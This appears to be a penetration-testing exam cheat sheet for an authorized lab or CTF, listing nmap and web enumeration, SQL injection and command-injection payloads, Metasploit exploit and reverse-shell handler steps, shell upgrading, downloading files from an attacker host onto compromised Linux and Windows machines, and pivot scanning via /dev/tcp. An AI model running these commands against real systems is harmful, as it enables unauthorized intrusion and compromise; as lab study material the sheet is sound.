Source: Juni_2026_Exams/Penetration_Testing/checklists/pentest-command-cheatsheet.md

Penetration Testing Command Cheat Sheet

Use only inside the authorized lab/CTF.

Setup

export TARGET=127.0.0.1
mkdir -p exam/{scans,web,loot,shells,notes}
cd exam
printf 'TARGET=%s\n' "$TARGET" | tee notes/target.txt

Nmap

nmap -Pn -sV -p- --min-rate 1000 "$TARGET" -oA scans/all-tcp
grep '/open/' scans/all-tcp.gnmap
PORTS=$(awk -F'Ports: ' '/Ports:/{print $2}' scans/all-tcp.gnmap | tr ',' '\n' | awk -F'/' '/open/{print $1}' | paste -sd, -)
nmap -Pn -sC -sV -p "$PORTS" "$TARGET" -oA scans/detail
sudo nmap -sU --top-ports 50 "$TARGET" -oA scans/udp-top

Web

PORT=<PORT>
BASE="http://$TARGET:$PORT"
mkdir -p "web/$PORT"
curl -i "$BASE/" | tee "web/$PORT/root.txt"
curl -s "$BASE/" | tee "web/$PORT/root.html" >/dev/null
curl -s "$BASE/robots.txt" | tee "web/$PORT/robots.txt"
grep -RInE 'flag|secret|token|pass|admin|api|debug|backup' "web/$PORT"
grep -Eo 'href="[^"]+"|src="[^"]+"' "web/$PORT/root.html" | sort -u

HTTPS:

BASE="https://$TARGET:$PORT"
curl -k -i "$BASE/"

Simple path check:

for p in robots.txt sitemap.xml admin login api debug backup uploads files; do
  echo "### /$p"
  curl -sS -i "$BASE/$p" | head -n 20
done

File Inspection

curl -fSLO "$BASE/<FILE>"
file <FILE>
sha256sum <FILE>
exiftool <FILE>
strings -a <FILE> | grep -Ei 'flag|secret|token|pass'

Decode

printf '%s' '<BASE64>' | base64 -d
printf '%s' '<HEX>' | xxd -r -p
python3 - <<'PY'
from urllib.parse import unquote
print(unquote('<URL_ENCODED>'))
PY
printf '%s\n' '<FLAG_VALUE>' | grep -E '^[0-9a-fA-F]{32}$'

Manual Services

nc -nv "$TARGET" <PORT>
printf 'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -nv "$TARGET" <PORT>
ftp "$TARGET" <PORT>
ssh -p <PORT> <USER>@"$TARGET"
mysql -h "$TARGET" -P <PORT> -u <USER> -p
smbclient -L //"$TARGET" -N

FTP:

anonymous
ls -la
binary
get <FILE>
bye

MySQL:

SHOW DATABASES;
USE <DB>;
SHOW TABLES;
DESCRIBE <TABLE>;
SELECT * FROM <TABLE> LIMIT 20;

Injection Checks

Command injection baseline:

curl -i "$BASE/<PATH>?<PARAM>=test"
curl -i "$BASE/<PATH>?<PARAM>=id"
curl -i "$BASE/<PATH>?<PARAM>=whoami"

SQLi:

admin' OR '1'='1'-- -
admin'-- -
' ORDER BY 1-- -
' UNION SELECT NULL,NULL,NULL-- -

Searchsploit

searchsploit <PRODUCT> <VERSION>
searchsploit --cve <CVE-ID>
searchsploit -x <EXPLOIT_DB_PATH>
searchsploit -m <EXPLOIT_DB_PATH>

Metasploit

msfconsole
workspace -a exam
db_status
db_nmap -sV -p <PORTS> <TARGET>
services
search <PRODUCT> <VERSION>
info <MODULE>
use <MODULE>
show options
set RHOSTS <TARGET>
set RPORT <ACTUAL_PORT>
check
run
sessions -l
sessions -i <ID>

Handler:

use exploit/multi/handler
set PAYLOAD <PAYLOAD>
set LHOST <YOUR_LAB_IP>
set LPORT 4444
run

Shell

id || whoami
hostname
pwd
uname -a 2>/dev/null || ver
ip addr 2>/dev/null || ipconfig
ip route 2>/dev/null || route print
ss -lntup 2>/dev/null || netstat -ano

Upgrade Linux shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl-Z locally
stty raw -echo; fg
export TERM=xterm

File Transfer

Serve from Kali:

python3 -m http.server 8000 --directory loot

Linux:

curl -fLO "http://<KALI_IP>:8000/<FILE>"
wget "http://<KALI_IP>:8000/<FILE>"

Windows:

Invoke-WebRequest http://<KALI_IP>:8000/<FILE> -OutFile <FILE>
certutil -urlcache -split -f http://<KALI_IP>:8000/<FILE> <FILE>

Pivot

ip addr
ip route
ss -lntup
nmap -sn <INTERNAL_LAB_SUBNET>
nmap -sT -sV -p- <INTERNAL_HOST>

No Nmap on compromised host:

for p in 21 22 80 443 3306 8000 8080 8443 9000; do
  timeout 2 bash -c "echo >/dev/tcp/<HOST>/$p" 2>/dev/null && echo "open $p"
done

Flag Record

FLAG_XX:
Value:
Host/port/path:
Command:
Evidence:
Decoded from: